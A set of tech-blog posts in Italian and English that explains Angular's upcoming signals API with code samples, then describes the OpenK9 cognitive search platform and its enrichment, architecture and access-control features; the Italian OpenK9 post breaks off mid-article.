I segnali sono un paradigma di programmazione ad eventi, simile a quello della DOM, che consente allo sviluppatore di generare eventi personalizzati e creare effetti nel codice all'emissione di un valore. L'utilizzo dei segnali offre numerosi vantaggi, tra cui la scrittura di codice semplice, reattivo e facile da mantenere. Inoltre, i segnali sono agnostici rispetto al framework utilizzato, il che significa che possono essere facilmente integrati a partire da una libreria JS vanilla. Un segnale può essere semplicemente creato con un metodo, ad esempio signal in Angular:

export class MyClass {
    count = signal(0);
    double = computed(() => this.count() * 2);
    
    changeCount() {
        this.count.set(5);
    }
}

In questo esempio viene creato un segnale di tipo number con valore iniziale 0, e ne viene creato uno calcolato a partire dal primo. Nel momento in cui verrà eseguita la funzione changeCount, il segnale count verrà aggiornato con il valore 5, mentre double diventerà 10, grazie al metodo computed che ritorna un segnale a partire da un altro. Inoltre, vengono messi a disposizione dello sviluppatore anche altri metodi nel getter, utilizzati per la modifica e la notifica delle stesse agli osservatori, come mutate, update e effect:

const count = signal(0);

count.set(2);
count.update(count => count + 1);

Il metodo update permette di modificare il segnale a partire dal suo valore precedente, questo risulta utile nel caso di valori di partenza immutabili.

const ids = signal<Id[]>([]);

ids.mutate(id => {
    id.push({name: 'Mario Rossi', dateOfBirth: '11/11/2000'});
});

Il metodo mutate, analogamente all'update permette di modificare il valore del segnale, aggiornandolo però direttamente.

const count = signal(0);
effect(() => console.log('Siamo arrivati a:', count()));
//LOG: Siamo arrivati a: 0

count.set(1);
//LOG: Siamo arrivati a: 1

Infine un segnale può generare effetti grazie alla funzione effect(), quest'ultima procederà ad eseguire il codice al suo interno ogni volta che il segnale emetterà un valore. Va specificato che l'implementazione mostrata è quella della preview di Angular versione 16, e in base al framework utilizzato, o a modifiche future, essa potrebbe variare drasticamente. Nel caso della nuova API dei segnali di Angular, verranno aggiunte delle helper functions per l'integrazione con RxJs, però non ancora definite.

Lo stato di Angular

La maggioranza della community di Angular è entusiasta dell'implementazione dei segnali, considerandoli un upgrade utile e necessario. Negli ultimi tre rilasci, il team di sviluppo ha introdotto numerose feature, come componenti standalone, miglioramento dello stack trace e l'aggiunta di direttive agli elementi host, che hanno modernizzato e semplificato il framework. Con queste migliorie, lo sviluppo risulta molto più facile e veloce, rendendo la curva di apprendimento meno ripida per i neofiti. Per comprendere appieno l'utilità dei segnali, tuttavia, è necessario capire in che modo Angular renderizza i componenti e come rileva le modifiche.

Il problema Zone.js e Change Detection

In Angular, il processo di Change Detection (rilevamento delle modifiche) è necessario per mantenere l'interfaccia sincronizzata con lo stato interno dell'applicazione. Esso consente al framework di aggiornare automaticamente la DOM al cambiamento dello stato dell'applicazione. Angular utilizza una libreria chiamata Zone.js per rilevare i cambiamenti. Questa libreria controlla gli oggetti del modello di dati dell'applicazione per determinare se i loro valori sono stati modificati. Tuttavia, l'uso di Zone.js può rappresentare un problema di performance per Angular, in quanto deve essere caricato ed eseguito ancora prima di poter rilevare modifiche sui dati. Inoltre, ogni evento deve essere tracciato anche se non provoca cambiamenti nel modello dei dati, e poiché Angular non utilizza una DOM virtuale, l'intero albero dei componenti viene controllato dal dirty checking, impattando la velocità e l'efficienza.

Figura 1 - Zone.js (funzionamento di zone.js)

Come si può risolvere questo problema?

Attualmente, non è possibile risolvere definitivamente il problema generato dalla Change Detection in Angular. Tuttavia, gli sviluppatori utilizzano un'alternativa facilmente integrabile con la programmazione reattiva (su cui ti consiglio di leggere questo fantastico articolo scritto dai colleghi Cristian Bianco e Mauro Celani, che trovi qui). Questo metodo si basa sulla strategia OnPush, che consente di rilevare le modifiche solo al momento in cui vengono aggiornati i dati, ovvero al "push". In particolare, utilizzano la pipe async nei template, e quindi evitando di effettuare dei subscribe nel codice, Angular invece di navigare l'albero dei componenti per intero, andrà a controllare solo il sottoalbero da cui è partita la modifica.

@Component({
  selector: 'async-observable-pipe',
  template: '<div><code>observable|async</code>: Time: {{ time | async }}</div>'
})

export class AsyncObservablePipeComponent {
  time = new Observable<string>((observer: Observer<string>) => {
    setInterval(() => observer.next(new Date().toString()), 1000);
  });
}

La chiave per la reattività a grana fine

I problemi elencati saranno risolti dall'introduzione dei segnali in Angular. In particolare il team vuole introdurre una primitiva reattiva che integrata con il motore di templating di Angular permette di notificare il framework quando il valore associato alla vista cambia e deve essere aggiornato nella DOM. Questo processo di aggiornamento puntale della vista, anche chiamato reattività a grana fine, eliminerà la necessità di utilizzare Zone.js. Un ulteriore vantaggio dell'utilizzo dei segnali è la loro esecuzione senza glitch. Essi si basano su due astrazioni: il Producer e il Consumer. Viene costruito un albero delle dipendenze, dove ogni nodo ha due archi che lo collegano ai suoi nodi figlio o padre. Ciò consente a ogni nodo di conoscere lo stato dei suoi consumer e viceversa. In questo modo, un Producer può aggiornare tutti i suoi Consumer e propagare le modifiche senza emettere side-effect, evitando quindi di creare stati intermedi che lo sviluppatore dovrebbe gestire per evitare glitch. Quando tutti i nodi sono stati aggiornati (in modo sincrono), vengono eseguiti gli effetti, il che risolve un problema spesso incontrato nell'uso di Rxjs.

Il futuro di RxJS in Angular

Una delle domande più frequenti riguardo all'introduzione dei segnali in Angular è: RxJs verrà eliminato? La risposta è decisamente no. Nonostante i segnali siano uno strumento utile che migliorerà l'esperienza degli sviluppatori, essi non possono sostituire RxJs e i suoi observable in tutte le operazioni asincrone, come ad esempio le richieste http. La relazione tra i segnali e RxJs sarà probabilmente simbiotica, consentendo l'uso dei segnali per la gestione dei valori più immediati e l'utilizzo degli observable per tutte le operazioni asincrone che possono beneficiare dei suoi operatori avanzati. In questo modo, entrambi gli strumenti potranno coesistere e integrarsi efficacemente, migliorando l'efficienza e la scalabilità delle applicazioni Angular.

Figura 2 - Reattività sincrona e asincrona (reattività sincrona e asincrona)

Conclusioni

Per concludere, l'introduzione dei segnali in Angular rappresenta una significativa evoluzione che migliorerà notevolmente l'esperienza degli sviluppatori e fornirà importanti incrementi di performance, consolidando ulteriormente la posizione di Angular come uno dei principali framework Javascript sul mercato. La combinazione dei segnali con RxJs, inoltre, offrirà una soluzione altamente efficiente e scalabile per la gestione di operazioni sincrone e asincrone, consentendo agli sviluppatori di creare applicazioni ancora più potenti e complesse.

Angular vs Signals

Mon, 27 Mar 2023 00:00:00 GMT

Recently, a discussion resumed among frontend developers, especially those in the JavaScript world, about a primitive that will soon be introduced in some of the most famous frameworks like Angular and React: signals. This debate has historical roots and focuses on the use of signals as a way to handle events and application state more efficiently. It is therefore being evaluated whether the adoption of signals represents the addition of a useful feature for developers, or just another opt-in that, in the hands of inexperienced users, could create difficult-to-scale applications full of spaghetti code. Whether developers like it or not, signals are coming and gaining more and more popularity thanks to a clear and simple syntax and a predisposition for reactivity.

A short history recap

Despite the popularity gained in recent months, signals are a concept that originated in the early days of computing. Unix systems are still using them to send notifications between processes efficiently. Signals gained traction thanks to early-research on reactive programming, and have since been implemented by beloved declarative JavaScript frameworks, often with different names and logics, to allow developers to manage the application state and ensure precise change detection and rendering, therefore increasing efficiency. The pioneer in implementing signals in a modern context is undoubtedly Solid.js, which uses signals for reactive programming development, allowing fine-grained reactivity.

What are Signals?

Solid.js defines signals as:

"Signals are the cornerstone of reactivity in Solid. They contain values that change over time; when you change a signal's value, it automatically updates anything that uses it."

Signals are an event-driven programming paradigm, similar to that of the DOM, which allows developers to generate custom events and create effects in the code upon the emission of a value. Signals offers numerous advantages, including writing simple, reactive, and easy-to-maintain code. Additionally, signals are agnostic with respect to the framework used, which means they integrate starting from a vanilla JS library with ease. Signals can be created from a keyword like signal in Angular:

export class MyClass {
    count = signal(0);
    double = computed(() => this.count() * 2);
    
    changeCount() {
        this.count.set(5);
    }
}

In this example, a signal of type number is created with an initial value of 0, while a second signal is calculated from the first one. When the changeCount function executes, count will be updated with the value of 5, while double will become 10 thanks to the computed method that returns a new signal based on another one's value. Furthermore, other methods are made available to the developer in the getter, used for modifying and notifying them to observers, such as mutate, update, and effect:

const count = signal(0);

count.set(2);
count.update(count => count + 1);

The update method allows modifying the signal based on its previous value, which is useful in the case of immutable starting values.

const ids = signal<Id[]>([]);

ids.mutate(id => {
    id.push({name: 'Mario Rossi', dateOfBirth: '11/11/2000'});
});

The mutate method, similarly to update, allows modifying the signal value by directly updating it.

const count = signal(0);
effect(() => console.log('Count is:', count()));
//LOG: Count is: 0

count.set(1);
//LOG: Count is: 1

Finally, a signal can generate effects thanks to the effect() function. This function will execute the code inside it every time the signal emits a value. It should be specified that the implementation shown here refers to the preview of Angular version 16, and depending on the framework used or future changes, it could vary drastically. In the case of the new Signals' API in Angular, helper functions for integration with RxJs will be added, but they are not yet defined.

Angular's current status

The majority of the Angular community is excited about the implementation of signals, considering them a useful and necessary upgrade. In the last three releases, the development team has introduced numerous features, such as standalone components, improved stack tracing, and the addition of directives to host elements, which have modernized and simplified the framework. With these improvements, development is much easier and faster, making the learning curve less steep for newcomers. However, to fully understand the usefulness of signals, it is necessary to understand how Angular renders components and how it detects changes.

The problem with Zone.js and Change Detection

In Angular, the Change Detection process keeps the interface synchronized with the internal state of the application. It allows the framework to automatically update the DOM when the application state changes. Angular uses a library called Zone.js to detect changes. This library checks the application's data model objects to determine if their values have changed. However, the use of Zone.js can be a performance issue for Angular, as it must be loaded and executed before it can detect changes in the data. Additionally, every event must be tracked even if it does not cause changes in the data model, and since Angular does not use a virtual DOM, the entire component tree is checked by dirty checking, impacting speed and efficiency.

Image 1 - Zone.js (zone.js at work)

Can we fix Change Detection?

Currently, the problem generated by Change Detection in Angular cannot be definitively solved. However, developers use an alternative that is easily integrable with reactive programming (which I recommend reading about in this fantastic article written by colleagues Cristian Bianco and Mauro Celani, which you can find here). This method is based on the OnPush strategy, which allows changes to be detected only at the moment when the data is updated, i.e. on the "push". In particular, they use the async pipe in templates, avoiding subscribing in the code. Instead of navigating the entire component tree, Angular will only check the subtree from which the modification originated.

@Component({
  selector: 'async-observable-pipe',
  template: '<div><code>observable|async</code>: Time: {{ time | async }}</div>'
})

export class AsyncObservablePipeComponent {
  time = new Observable<string>((observer: Observer<string>) => {
    setInterval(() => observer.next(new Date().toString()), 1000);
  });
}

The key to fine-grained reactivity

The listed issues will be resolved by the introduction of signals in Angular. In particular, the team aims to add a reactive primitive that, integrated with the Angular templating engine, allows notifying the framework when the value associated with the view changes and needs to be updated in the DOM. This process of fine-grained view updating, also known as fine-grained reactivity, will eliminate the need to use Zone.js. Another advantage of using signals is their glitch-free execution. They are based on two abstractions: the Producer and the Consumer. A dependency tree is built, where each node has two edges that connect it to its child or parent nodes. This allows each node to know the state of its consumers and vice versa. In this way, a Producer can update all its Consumers and propagate changes without emitting side-effects, thus avoiding creating intermediate states that the developer would need to manage to prevent glitches. When all nodes have been updated (synchronously), the effects are executed, which solves a problem often encountered when using Rxjs.

The future of RxJS

One of the most frequently asked questions regarding the introduction of signals in Angular is: Will RxJs be eliminated? The answer is definitely no. Despite signals being a useful tool that will improve developers' experience, they cannot replace RxJs and its observables in all asynchronous operations, such as http requests. The relationship between signals and RxJs will likely be symbiotic, allowing for the use of signals for handling more immediate values and the use of observables for all asynchronous operations that can benefit from its advanced operators. In this way, both tools can coexist and integrate effectively, improving the efficiency and scalability of Angular applications.

Image 2 - Synchronus and Asynchronous reactivity (Synchronus and Asynchronous reactivity)

Final toughts

In conclusion, the introduction of signals in Angular represents a significant evolution that will greatly improve developers' experience and provide important performance boosts, further consolidating Angular's position as one of the leading Javascript frameworks on the market. The combination of signals with RxJs will also offer a highly efficient and scalable solution for handling both synchronous and asynchronous operations, allowing developers to create even more powerful and complex applications.

Cognitive Search System with Openk9

Fri, 15 Jul 2022 00:00:00 GMT

Research represents a task of fundamental importance in multiple work and non-work contexts; the main goal of a search system is to satisfy the user's needs as precisely and efficiently as possible, identifying the most relevant results based on the request.
With this objective, the research systems have evolved more and more in the latest years.
At the state of the art today we talk about cognitive search engines.

In the following we will go to see what a cognitive search system is, and then move on to describe and explore the functioning of the cognitive search solution Openk9.

What is cognitive research

Organizations nowadays have to manage content from multiple data sources. As for example:

Mail server
Web portals
Crm
etc....

These contents are also very often of different types. We can have documents, emails, contacts, calendars, tickets, and much more.

Last but not least, these contents can be both structured and unstructured in nature.

Figura 1 - Structured and Unstructured

A first objective that a modern search system must satisfy is that of centralizing the search towards contents of different origin and typology and nature in a single system that allows searching for all these contents through a single access point and in a similar way.

Figura 2 - Search

But that's not it. The whole world of computer systems is increasingly influenced and extended thanks to the use of modern techniques Artificial Intelligence and Machine Learning. The research systems are no exception. Cognitive research systems are born from this union.

Wanting to define a cognitive research system, we can say that:

a cognitive search system is an advanced search system that uses ML capabilities to enrich content and support the user in research, with the primary goal of increasing the accuracy of the results

Therefore a fundamental role in these systems is played by the functionalities of AI and ML. In particular, as stated in the definition given, they are used for two very specific purposes:

enrich the contents indexed by the cognitive search system
support the user in the research in achieving his intentions

In the following, the operation of the Openk9 solution will be illustrated, and it will be clearer how the data enrichment activity works and is managed.

In this phase, however, it is of interest to give an overview of some of the useful and frequently used techniques for the aforementioned phases.

Machine Learning techniques for enrichment

What does data enrichment mean?

With data enrichment we refer to the analysis and expansion of the content of interest, which when it is indexed by the engine of cognitive research, is analyzed, with the aim of extracting additional and "hidden" information, which may prove useful for increasing precision in the research activity.
This information, once extracted, is linked to the original data, and the enriched data is indexed. The information deriving from the activity of enrichment to this can be used to make more powerful and precise searches.

Before looking at some of the techniques useful for enrichment, it is good to point out that a cognitive research system must be able to support the use of any technique useful for enriching the data, as these may vary according to the needs and nature of the data.

In this context we are going to see some Natural Language Processing techniques that are obviously useful in the case of enriching textual content, certainly the most commonly sought after.

A series dedicated to the most relevant tasks of Natural Language Processing is present in our blog. Some of the techniques listed here are addressed by this series of articles. Start reading from first article.

Commonly used techniques are:

Named Entity Recognition: it is about recognizing entities and semantic concepts in the text. These entities can then be used to perform more complex and precise searches.

Figure 3 - Ner

Extractions of relationships: Extractions of relationships between entities.
Textual classification: intelligently categorize the text and use this information to search for content by category
Topic Modeling: identify the main topics of a content and exploit this information to search for content dealing with a sure topic

If the data to be ingested were of another nature, information extraction techniques suitable for the use case can be used. For sources with multimedia data such as audio, images rather than video, tools that implement Machine techniques can be used Learning such as Speech Recognition, Object Detection, Face Recognition, rather than Activity Recognition.

All the information extracted during the enrichment phase also contribute to the population of a relationship graph that is used by the search system to carry out searches, analytics and actions that increase the capabilities of the search engine.

Figure 4 - Knowledge Graph

Techniques for user support for research

The information resulting from enrichment is an extremely relevant source of data for research purposes. A cognitive search system uses this information to:

provide suggestions to the user while writing the query
formulate syntactically correct queries (self-correction)
carry out activities to understand the query, with the aim of identifying the intent of the users. This activity helps build a representation of the query that provides more accurate results

The first two points are met through the use of modern NLP techniques for carrying out self-completion activities and autocorrection.

To contribute to the realization of the comprehension activity, on the other hand, there are different functionalities, in any case always linked to the modern techniques of Natural Language Processing.

A rough diagram on the flow achieved by the query understanding activity is the following.

All activities are carried out through intelligent tools that increase the meaning of the query with appropriate indications. Let's look at the query example pdf documents by Mike Brown of Acme Inc. The query understanding tool then performs:

Figure 5 - Query Understanding

appropriate cleaning activities through for example tokenization or elimination of stopwords
identifies phrases with a relevant meaning within the query
then carries out a concept tagging activity, identifying for example that Mike Brown is a person, pdf a specific type of document, rather than Acme inc a certain organization
expands the meaning of the query, through the use of the knowledge base, noting that Mike Brown of Acme Inc is a developer

All this information is included in the description of the query made to the search system, thus obtaining more relevant results possible. In this case, giving greater importance to pdf documents with the developer Mike Brown of Acme Inc.

Openk9

Figura 6 - Openk9

Openk9 is an Open Source cognitive research solution. The code is then available on Github.

Figure 7 - Openk9 Github

Documentation and in-depth information are available on the Openk9 website.

Let's see how Openk9 realizes what are the main characteristics of a cognitive search system.

Data ingestion

Through a specific ingestion interface, the data are made to flow into the system which then, through a communication system asynchronous queue-based, manages the flow up to indexing. The choice to manage communication in a totally asynchronous way is dictated by the need to manage back pressure efficiently resulting from the ingestion of massive data.

Figure 8 - Ingestion

Enrichment and indexing

The data is subsequently merged through a phase where it is subject to an enrichment activity defined according to needs. Each step of the enrichment pipeline extracts and binds new information to the data in a structured way. At the end of the enrichment phase, the enriched data is indexed in Elasticsearch and can now be searched.

Figura 9 - Enrichment and indexing

The research can take place on fields originating from the original data and exploiting the information extracted and added during the enrichment phase.

Wanting to give an example, let's assume we are dealing with a data source of business documents deriving from a portal. Openk9 connects to this data source and ingests the entire document base periodically internally.

Each document goes through an enrichment pipeline consisting of two phases:

Entity recognition
Classification with respect to the type of document

The presence of this additional information allows the user to make more precise and advanced searches such as the following.

Figure 10 - Filtered Search

In this the objective is to search only and exclusively the contents cataloged as Business Plan and related to the Acme Inc organization. The result is a search made of semantic filters and not simply a full text search. Resulting in greater precision in the results.

Architectural features

Appropriate architectural choices were made in the creation of Openk9, which make it a product with certain characteristics.

Figura 11 - Architectural Features

Among the different characteristics, the most important one is that of scalability. A cognitive search engine must be in able to scale easily, to efficiently manage the different loads to which this can be subjected over time through ingestion of data.

The quality of scalability is given above all by the microservices architecture on which Openk9 is based, and by the totally asynchronous communication that exists between the different services of the system.

On the Openk9 website there is an in-depth architectural documentation with details on the different components that make up the system.

Figure 12 - Openk9 Architecture

To learn more about the architectural aspects, consult the specific documentation on the Openk9 website.

Functional Features

Openk9 also implements precise functional features, which make it a system with a strong

Figura 13 - Functional Features

Pluggability and customization are in particular two fundamental aspects that characterize Openk9. By defining specific plugins, it is possible to easily extend the functional capabilities of Openk9. An appropriate plugin can be defined for each new data source, with the aim of defining aspects such as:

the connection to the external data source
the form of the indexed data
the enrichment activity to be carried out on the data
the presentation of the frontend data

In this way it is possible to add in a totally pluggable way new data sources, which will be managed and treated by the system according to the customized logics defined by the plugin.

To learn more about how to create a new plugin for Openk9 visit the appropriate section of the site.

Other relevant features

ACL management(access-control list)

A cognitive search engine like Openk9 centralizes the contents of an entire organization or several organizations under a single database.

Organization-wide confinement is usually managed by differentiating data on separate indexes by tenant. Hence any organization will be able to access only and exclusively data related to his tenant.

But how is access to by users belonging to the same organization managed? Theoretically on the same index they could be present content visible to one user but not visible to another.

Openk9 also here manages the access control logics in a pluggable way; this is because different data sources can have logic different.

In the case of a Liferay portal, the management is of the Role-based type, in the case of an Imap server, on the other hand, the logics are linked to senders, recipients, etc ...

For this reason, for each data source, it is possible to define these logics in the relative plugin.

According to the appropriate logic, Openk9 indexes not only the content or metadata, but also the information for access management. This information is then used to apply access control directly to search time, thus allowing management very efficient and guaranteeing very fast search times.

Figura 14 - Acl Handling

Headless Search API

Openk9 offers headless api for content research and for all related activities, such as auto-completion and query understanding.

For more information, explore the [API] documentation (https://www.openk9.io/docs/api/searcher-api).

The natural headless of the bees allows the possibility to interface to Openk9 in a simple way with multiple interface tools, such as standalone frontend, web portals, chatbots rather than voice assistants.

Search Api are also designed to be extended and customized, in order to refine and refine search options based on context and to the domain.

New search functions can be added to apply new search logic. Understanding capabilities can also be extended of the query by defining new rules and tools for understanding.

Conclusion

Openk9 is a modern and powerful search system. Through its characteristics it aims to achieve level performance in terms of all the needs within organizations nowadays. The use of artificial intelligence techniques for the management of a whole series of aspects is in line with the logic of an increasingly precise and powerful. Furthermore, Openk9 wants to differentiate itself from its competitors. It does so mainly thanks to the aforementioned ability to be easily extendable etc. customizable. Fundamental properties in order to satisfy and solve the great heterogeneity of needs dictated by the real world.

So what are you waiting for ?! On the Openk9 website you can find an in-depth guide on how to install and run Openk9 on your machine. Find both the documentation to do everything through Docker Compose, and the documentation for a more robust installation on Kubernetes clusters; all followed by documentation for the configuration of the main aspects of the product.

Furthermore, to try Openk9 directly, use the online demo environment and test the search functions directly.

Ricerca cognitiva con OpenK9

Fri, 15 Jul 2022 00:00:00 GMT

La ricerca rappresenta un task di fondamentale importanza in molteplici contesti lavorativi e non; l'obiettivo principale di un sistema di ricerca è quello di soddisfare nella maniera più precisa ed efficiente possibile i bisogni dell'utente, individuando quelli che sono i risultati più pertinenti in base alla richiesta.
Con questo obbiettivo i sistemi di ricerca si sono evoluti sempre più negli ultimi anni.
Allo stato dell'arte oggi si parla di motori di ricerca cognitiva.

Nel seguito andremo a vedere cos'è un sistema di ricerca cognitivo, per poi passare a descrivere ed esplorare il funzionamento della soluzione di ricerca cognitiva OpenK9.

Cos'è la ricerca cognitiva

Al giorno d'oggi le organizzazioni si trovano a gestire contenuti provenienti da molteplici sorgenti dati. Come ad esempio:

Mail server
Portali web
CRM
etc.

Questi contenuti sono molto spesso di tipologie diverse. Possiamo avere documenti, email, contatti, calendari, ticket, e molto altro.

Non per ultimo questi contenuti possono essere sia di natura strutturata che non strutturata.

Figura 1 - Esempio di contenuti strutturati e non strutturati

Un primo obiettivo che un moderno sistema di ricerca deve soddisfare è quello di accentrare la ricerca verso contenuti di diversa origine, tipologia e natura in un unico sistema che permetta la ricerca verso tutti questi contenuti attraverso un singolo punto di accesso offrendo la medesima esperienza di ricerca.

Figura 2 - Search (il punto d'inzio)

Ma questo non è quanto. Tutto il mondo dei sistemi informatici viene sempre più influenzato ed esteso grazie all'uso delle moderne tecniche di Intelligenza Artificiale (AI) e Machine Learning (ML). I sistemi di ricerca non sono da meno. Da questo connubio nascono i sistemi di ricerca cognitiva.

Volendo dare una definizione di sistema di ricerca cognitivo possiamo dire che:

un sistema di ricerca cognitivo è un sistema di ricerca avanzata che utilizza funzionalità di ML per arricchire i contenuti e supportare l’utente nella ricerca, con l'obiettivo primario di aumentare la precisione dei risultati

Quindi, un ruolo fondamentale in questi sistemi è rivestito dalle funzionalità di AI e ML. In particolare, così come enunciato dalla definizione data, AI e ML sono utilizzate per due scopi ben precisi:

arricchire i contenuti indicizzati dal sistema di ricerca cognitivo;
supportare l'utente nella ricerca nel raggiungimento dei suoi intenti.

Nel seguito verrà illustrato il funzionamento della soluzione OpenK9, e sarà più chiaro come funziona e viene gestita l'attività di arricchimento del dato.

In questa fase però è di interesse fare una panoramica su alcune delle tecniche utili e frequentemente utilizzate per le fasi citate.

Tecniche di Machine Learning per l'arricchimento

Cosa significa arricchimento del dato?

Con arricchimento del dato si fa riferimento all'attività di analisi ed espansione del contenuto di interesse, che quando viene indicizzato dal motore di ricerca cognitivo, viene analizzato, con l'obiettivo di estrarre l'informazione aggiuntiva e "nascosta", che si può rivelare utile al fine di aumentare la precisione nell'attività di ricerca.
Questa informazione una volta estratta viene legata al dato originale, e il dato arricchito viene indicizzato. L'informazione derivante dall'attività di arricchimento a questo punto può essere utilizzata per fare delle ricerche più potenti e precise.

Un sistema di ricerca cognitiva deve poter supportare l'utilizzo di qualsiasi tecnica utile all'arricchimento del dato, poiché queste possono variare in base alle esigenze e alla natura del dato.

In questo contesto andiamo a vedere alcune tecniche di Natural Language Processing utili, ovviamente, nel caso di arricchimento di contenuti testuali, normalmente quelli più diffusi e passibili di ricerca.

Una serie dedicata ai più rilevanti task di Natural Language Processing è presente nel nostro Tech Blog e alcune delle tecniche qui elencate sono affrontate da questa serie di articoli. Inizia a leggere partendo dal primo articolo.

A seguire le tecniche comunemente utilizzate.

Named Entity Recognition: si tratta di riconoscere entità e concetti semantici nel testo. Queste entità possono essere poi utilizzare per eseguire delle ricerche più complesse e precise.

Figura 3 - Esempio di NER

Estrazioni di relazioni: estrazioni di relazioni tra entità.
Classificazione testuale: categorizzare in maniera intelligente il testo e sfruttare queste informazioni per ricerca contenuti per categoria.
Topic Modelling: individuare i topic principali di un contenuto e sfruttare queste informazioni per ricerca contenuti che trattano un certo topic.

Qualora i dati da ingestionare (Data Ingestion) fossero invece di altra natura si possono utilizzare tecniche di estrazione dell'informazione adatte al caso d'uso. Per sorgenti con dati multimediali quali audio, immagini piuttosto che video si possono utilizzare strumenti che implementano tecniche di Machine Learning quali Speech Recognition, Object Detection, Face Recognition, piuttosto che Activity Recognition.

Tutte le informazioni estratte durante la fase di arricchimento inoltre concorrono al popolamento di un grafo delle relazioni che viene utilizzato dal sistema per realizzare ricerche, analitiche e azioni che aumentano le capacità del motore.

Figura 4 - Knowledge Graph

Tecniche per il supporto all'utente per la ricerca

Le informazioni derivanti dall'arricchimento rappresentano una fonte di dati estremamente rilevante ai fini della ricerca. Un sistema di ricerca cognitiva sfrutta queste informazioni per:

fornire suggerimenti all'utente durante la scrittura della query;
formulare query sintatticamente corrette (autocorrezione);
effettuare attività di comprensione della query, con l'obiettivo di individurare gli intent degli utenti. Questa attività contribuisce a costruire una rappresentazione della query ottimizzata per fornire risultati più precisi.

I primi due punti sono soddisfatti grazie all'uso delle moderne tecniche di NLP per la realizzazione di attività di auto completamento e autocorrezione.

A concorrere alla realizzazione dell'attività di comprensione, ci sono invece, diverse funzionalità, in ogni caso sempre legate alle moderne tecniche di Natural Language Processing.

Uno schema di massima sul flusso realizzato dall'attività di comprensione della query è il seguente.

Tutte le attività sono svolte attraverso strumenti intelligenti che aumentano il significato della query con opportune indicazioni. Vediamo l'esempio di query documenti pdf di Mike Brown di Acme Inc. Lo strumento di comprensione della query svolge quindi:

Figura 5 - Query Understanding

opportune attività di cleaning tramite ad esempio tokenizzazione o eliminazione delle stopword;
individua frasi dal significato rilevante all'interno della query.
svolge poi un'attività di tagging dei concetti, individuando ad esempio che Mike Brown è una persona, pdf uno specifico tipo di documento, piuttosto che Acme inc una certa organizzazione;
espande il significato della query, attraverso l'utilizzo della base di conoscenza, rilevando che Mike Brown di Acme Inc è uno sviluppatore.

Tutte queste informazioni vengono inserite nella descrizione della query fatta al sistema di ricerca, andando ad ottenere così risultati più pertinenti possbili. In questo caso dando maggiore rilevanza ai documenti di tipo pdf con lo sviluppatore Mike Brown di Acme Inc.

Openk9

Figura 6 - OpenK9

OpenK9 è una soluzione di ricerca cognitiva Open Source. Il codice è quindi disponibile su Github.

Figura 7 - OpenK9 Github

Documentazione e informazioni approfondite sono presenti sul sito di OpenK9.

Passiamo a vedere come OpenK9 realizza quelle che sono le caratteristiche principali di un sistema di ricerca cognitivo.

Ingestion dei dati

Attraverso un'apposita interfaccia di ingestion, i dati vengono fatti confluire all'interno del sistema che poi, attraverso un meccanismo di comunicazione asincrona basato su code, gestisce il flusso fino all'indicizzazione. La scelta di gestire la comunicazione in modo totalmente asincrono è dettata dall'esigenza di gestire in maniera efficiente il back pressure derivante da ingestion di dati massive.

Figura 8 - Ingestion

Arricchimento e indicizzazione

Il dato successivamente viene fatto confluire attraverso una fase dov'è soggetto ad un'attività di arricchimento definita in base alle esigenze. Ogni step della pipeline di arricchimento estrae e lega al dato nuova informazione in maniera strutturata. Al termine della fase di arricchimento il dato arricchito viene indicizzato in Elasticsearch ed è a questo punto passibile di ricerca.

Figura 9 - Arricchimento e indicizzazione

La ricerca può sfruttare sia i campi provenienti dal dato originale sia l'informazione estratta e aggiunta durante la fase di arricchimento.

Ipotizziamo di avere a che fare con una sorgente dati di documenti aziendali derivanti da un portale. OpenK9 si connette a questa sorgente dati e ingestiona al proprio interno tutta la base documentale in maniera periodica.

Ogni documento attraversa una pipeline di arricchimento composta da due fasi

Riconoscimento di entità.
Classificazione rispetto alla tipologia del documento.

La presenza di queste informazioni aggiuntive permette all'utente di fare ricerca più precise e avanzate come la seguente.

Figura 10 - Ricerca con filtri

In questo l'obiettivo è quello di cercare solo ed esclusivamente i contenuti catalogati come Business Plan e relativi all'organizzazione Acme Inc. Ne scaturisce una ricerca fatta di filtri semantici e non semplicemente una ricerca di tipo full text. La conseguenza di ciò è una maggior precisione nei risultati.

Caratteristiche architetturali

Opportune scelte architetturali sono state fatte nella creazione di OpenK9, che ne fanno un prodotto con determinate caratteristiche.

Figura 11 - Caratteristiche architetturali

Tra le diverse caratteristiche, quella sicuramente più importante è quella della scalabilità. Un motore di ricerca cognitivo deve essere in grado di scalare facilmente, per gestire in maniera efficiente i diversi carichi a cui questo può essere sottoposto nel tempo tramite l'ingestion di dati.

La qualità della scalabilità è data soprattutto dall'architettura a microservizi su cui OpenK9 si basa, e dalla comunicazione totalmente asincrona che c'è tra i diversi servizi del sistema.

Sul sito di OpenK9 è presente la documentazione architetturale con dettagli sui diversi componenti che compongono il sistema.

Figura 12 - Architettura OpenK9

Caratteristiche funzionali

OpenK9 implementa anche precise caratteristiche funzionali.

Figura 13 - Caratteristiche funzionali

Un sistema plugable e l'elevato livello di personalizzazione sono in particolare due aspetti fondamentali che caratterizzano OpenK9. Tramite la definizione di plugin appositi è possibile estendere in maniera semplice le capacità funzionali di OpenK9.
Per ogni nuova sorgente dati può essere definito un opportuno plugin, con l'obiettivo di definire aspetti come:

la connessione alla sorgente dati esterna;
la forma del dato indicizzato;
l'attività di arricchimento da svolgere sul dato;
la presentazione del dato a frontend.

In questo modo è possibile aggiungere in maniera totalmente plugable nuove sorgenti dati, che saranno poi gestite e trattate dal sistema secondo le logiche personalizzate definite dal plugin.

Per approfondire il tema, leggere la documentazione Create a plugin using Java pubblicata sul sito di OpenK9

Altre caratteristiche rilevanti

Gestione delle ACL (access-control list)

Un motore di ricerca cognitiva come OpenK9 accentra i contenuti di un'intera organizzazione o di più organizzazioni sotto un'unica base dati.

Il confinamento a livello di organizzazione è normalmente gestito differenziando i dati su indici separati per tenant. Quindi, ogni organizzazione potrà accedere solo ed esclusivamente a dati legati al proprio tenant.

Come viene gestito invece l'accesso ai da parte di utenti appartenenti alla stessa organizzazione? Teoricamente su uno stesso indice potrebbero essere presenti contenuti visibili ad un utente ma non visibili ad un altro.

OpenK9 anche qui va a gestire le logiche di controllo degli accessi (o ACL) in maniera plugable; questo perché sorgenti dati diverse possono avere logiche differenti.

Nel caso di un portale Liferay la gestione è di tipo Role-based, nel caso di un server Imap invece le logiche sono legate a mittenti, destinatari, ecc...

Per questo motivo, per ogni sorgente dati, è possibile definire queste logiche nel relativo plugin.

